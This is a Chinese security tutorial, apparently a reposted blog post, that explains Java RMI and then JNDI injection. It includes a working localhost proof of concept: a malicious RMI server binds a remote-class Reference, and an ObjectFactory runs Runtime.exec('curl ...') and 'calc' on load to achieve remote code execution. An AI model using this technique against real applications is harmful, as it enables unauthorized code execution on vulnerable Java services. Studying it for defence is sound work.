0x01.java RMI
RMI(Remote Method Invocation)是专为 Java 环境设计的远程方法调用机制, 远程服务器实现具体的 Java 方法并提供接口, 客户端本地仅需根据接口类的定义, 提供相应的参数即可调用远程方法.
RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议), 该协议为 Java 定制, 要求服务端与客户端都为 Java 编写.
这个协议就像 HTTP 协议一样, 规定了客户端和服务端通信要满足的规范. 在 RMI 中对象是通过序列化方式进行编码传输的.
如上图所示, 在 JVM 之间通信时, 客户端要调用远程服务器上的对象时, 并不是直接将远程对象拷贝到本地, 而是通过传递一个 stub.
其中 stub 就包含了远程服务器的地址和端口等信息, 可以看作是远程对象的引用, 客户端可以通过调用 stub 中的方法来对远程对象进行使用, 也就是上图所说的逻辑上的调用, 而非直接调用, 即真实的数据是从客户端到服务端远程对象的 stub(存根)到服务器的 skeleton(骨架)之间的 socket 通信.
实际上 client 并不知道远程服务器的通信地址和端口, 但是服务器对象存根 (stub) 中有这些信息, 那么客户端只要拿到 stub, 通过调用 stub 上的方法, 然后 stub 再连接到远程服务器的具体端口, 服务器执行 client 所请求的具体方法, 再讲运行结果返回给 stub,stub 再将结果返回给 client, 此时 client 表面上看起来即为在本地执行了远程服务器上指定对象的方法, 而这个执行过程对 client 实际上是透明的.
至于如何获取 stub, 常见方法为通过 RMI 注册表 (RMIRegistry) 来解决这个问题, RMIRegistry 也为远程对象, 此时监听在 1099 端口, 注册远程对象需要 RMI URL 和一个远程对象的引用(实际上就是一个路由对应着一个远程服务器上类的实例化对象). 而此时客户端首先可以通过 RMI 注册表查询到远程对象的名称, 先获取 stub, 然后来调用该 stub 来调用远程对象所属类中的方法.
比如如下例子:
远程服务端:
- IHello rhello = new HelloImpl();
- LocateRegistry.createRegistry(1099);
- Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
此时远程服务端 RMI 注册表监听 1099 端口, 并设置 RMI URL 和对应该 URL 的类对象
客户端:
- Registry registry = LocateRegistry.getRegistry("远程服务器地址",1099);
- IHello rhello = (IHello) registry.lookup("hello");
- rhello.sayHello("test");
此时客户端访问远程服务器 RMI 注册表, 得到该 RMI 注册表的对象, 此时再访问其中 URL 中的 hello, 即可以获得服务器端绑定到 hello 的类的对象, 此时就可以进行调用 sayHello 方法, 整个流程客户端也就完成了对远程服务器上的类的使用.
动态加载类:
这点根据我的理解应该是服务端可以将不同的 url 与类写到 RMI 注册表中, 当客户端的 jvm 想要调用某个类时, 可以根据服务端传递过来的 url 去远程下载类对应的 class 文件到本地来进行调用.
2.JNDI 注入
jndi 介绍:
第一部分已经说过我们可以通过 url 和类写到 rmi 注册表中, 此时客户端可以通过 url 来对远程类进行加载, 而 jndi 为 java 服务和目录接口, JNDI 提供统一的客户端 API, 通过不同的访问提供者接口, JNDI 服务供应接口 (SPI) 的实现, 由管理者将 JNDI API 映射为特定的命名服务和目录系统, 使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互, 所以我们可以通过 jdni 来访问远程的 url 来获取我们需要的服务, 那么如果服务端将类注册到 RMI 注册表中, 我们即可以通过 jndi 来对此类进行访问. 每一个对象都有键值对, 与名字和对象进行绑定, 可以通过名字来对对象进行访问, 对象可能存储在 rmi,ldap 中.
java 可以将对象存储在 naming 或者 directory 服务下, 提供了 naming reference 功能, 对象绑定到 reference 上, 存储在 naming 或者 directory 服务下,(rmi,ldap 等). 在使用 reference 的时候, 将对象绑定到构造方法中, 从而在被调用的时候触发.
举个 JNDI:
person 类(位于远程服务器上, 也就是我们想要调用的类)
- package JavaUnser;
- import java.io.Serializable;
- import java.rmi.Remote;
- public class Person implements Remote,Serializable {
- private static final long serialVersionUID = 1L;
- private String name;
- private String password;
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public String getPassword() {
- return password;
- }
- public void setPassword(String password) {
- this.password = password;
- }
- public String toString(){
- return "name:"+name+"password:"+password;
- }
- }
RMI 服务端:
- package JavaUnser;
- import java.rmi.RemoteException;
- import java.rmi.registry.LocateRegistry;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import javax.naming.NamingException;
- import javax.naming.spi.NamingManager;
- public class test {
- public static void initPerson() throws Exception{
- // 配置 JNDI 工厂和 JNDI 的 url 和端口. 如果没有配置这些信息, 会出现 NoInitialContextException 异常
- LocateRegistry.createRegistry(3001);
- System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
- //// 初始化
- InitialContext ctx = new InitialContext();
- // 实例化 person 对象
- Person p = new Person();
- p.setName("hello");
- p.setPassword("jndi");
- //person 对象绑定到 JNDI 服务中, JNDI 的名字叫做: person, 即我们可以通过 person 键值, 来对 Person 对象进行索引
- ctx.bind("person", p);
- ctx.close();
- }
- public static void findPerson() throws Exception{
- // 因为前面已经将 JNDI 工厂和 JNDI 的 url 和端口已经添加到 System 对象中, 这里就不用在绑定了
- InitialContext ctx = new InitialContext();
- // 通过 lookup 查找 person 对象
- Person person = (Person) ctx.lookup("person");
- // 打印出这个对象
- System.out.println(person.toString());
- ctx.close();
- }
- public static void main(String[] args) throws Exception {
- initPerson();
- findPerson();
- }
- }
可以看到, 运行服务端程序后将会绑定 3001 端口
在初始化完上下文 context(一组名称和对象绑定组成的键值对)后, 此时可以看到 defaultinitCtx 中已经包含了 jndi 的环境变量信息, 及服务提供者的 url 和工厂类的信息, 也包括了服务器的 host 地址和已经提供 rmi 注册表服务的端口
在 findperson 中, 我们直接可以通过初始化 context 来通过 lookup 函数, 来对 rmi 服务进行访问, 从而获取 person 对象
这里我们已经知道可以通过 lookup 函数来加载远程对象, lookup 实际上就要去访问 rmi 注册表去取回我们想要的对象
而 getURLOrDefaultInitCtx 函数中会根据不同情况来返回 ctx, 那么如果 lookup 函数的参数可控, 我们可以指定恶意的 rmi 注册表地址, 让客户端加载恶意的对象
JNDI 注入的场景有:
rmi, 通过 jndi reference 远程调用 object 方法.
CORBA IOR 远程获取实现类(Common Object Request Broker Architecture, 公共对象请求代理体系结构, 通用对象请求代理体系结构 IOR: 可互操作对象引用.)
LDAP 通过序列化对象, JNDI Referene,ldap 地址
jndi 注入的:
客户端:
client.java
- package JavaUnser;
- import javax.naming.Context;
- import javax.naming.InitialContext;
- public class client {
- public static void main(String[] args) throws Exception {
- String uri = "rmi://127.0.0.1:1099/aa";
- Context ctx = new InitialContext();
- ctx.lookup(uri);
- }
- }
通过初始化 context, 然后调用 lookup 函数来访问 rmi 注册表, 尝试调用远程对象
server.java
- package JavaUnser;
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
- import javax.naming.Reference;
- import java.rmi.registry.Registry;
- import java.rmi.registry.LocateRegistry;
- public class server {
- public static void main(String args[]) throws Exception {
- Registry registry = LocateRegistry.createRegistry(1099);
- Reference aa = new Reference("execObj", "execObj", "http://127.0.0.1:8081/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
- System.out.println("Binding'refObjWrapper'to'rmi://127.0.0.1:1099/aa'");
- registry.bind("aa", refObjWrapper);
- }
- }
此时服务端通过 reference 将远程对象可以绑定到 rmi 注册表中, 通过 reference, 可以将远程对象放置在其他服务器上, 此时攻击者只要提供恶意的对象供客户端调用即可实现 rce
exec.java
- import javax.naming.Context;
- import javax.naming.Name;
- import javax.naming.spi.ObjectFactory;
- import java.util.Hashtable;
- public class exec implements ObjectFactory {
- @Override
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- System.out.println("sssss");
- Runtime.getRuntime().exec("curl 127.0.0.1:8081");
- Runtime.getRuntime().exec("calc");
- return null;
- }
- }
此时即可以编译 exec.java 得到 exec.class 字节码文件, 然后将 exec.class 文件放置在服务器上
本地监听 8081 端口, 这个端口也就是与工厂地址相吻合的
其中 factory 即为我们想要从 http://127.0.0.1:8081 请求的 class 文件的名称, 然后启动 rmi 服务端
此时启动客户端对 exec.class 文件进行加载, 此时成功执行
此时成功加载了远程的 class 文件, 并且 rce
参考:
- https://www.freebuf.com/column/189835.html
- https://xz.aliyun.com/t/2223
- https://xz.aliyun.com/t/4711
- https://xz.aliyun.com/t/4558#toc-0
- https://p0sec.net/index.php/archives/121/
- https://www.freebuf.com/vuls/115849.html https://www.freebuf.com/vuls/115849.html
来源: https://www.cnblogs.com/wfzWebSecuity/p/11558842.html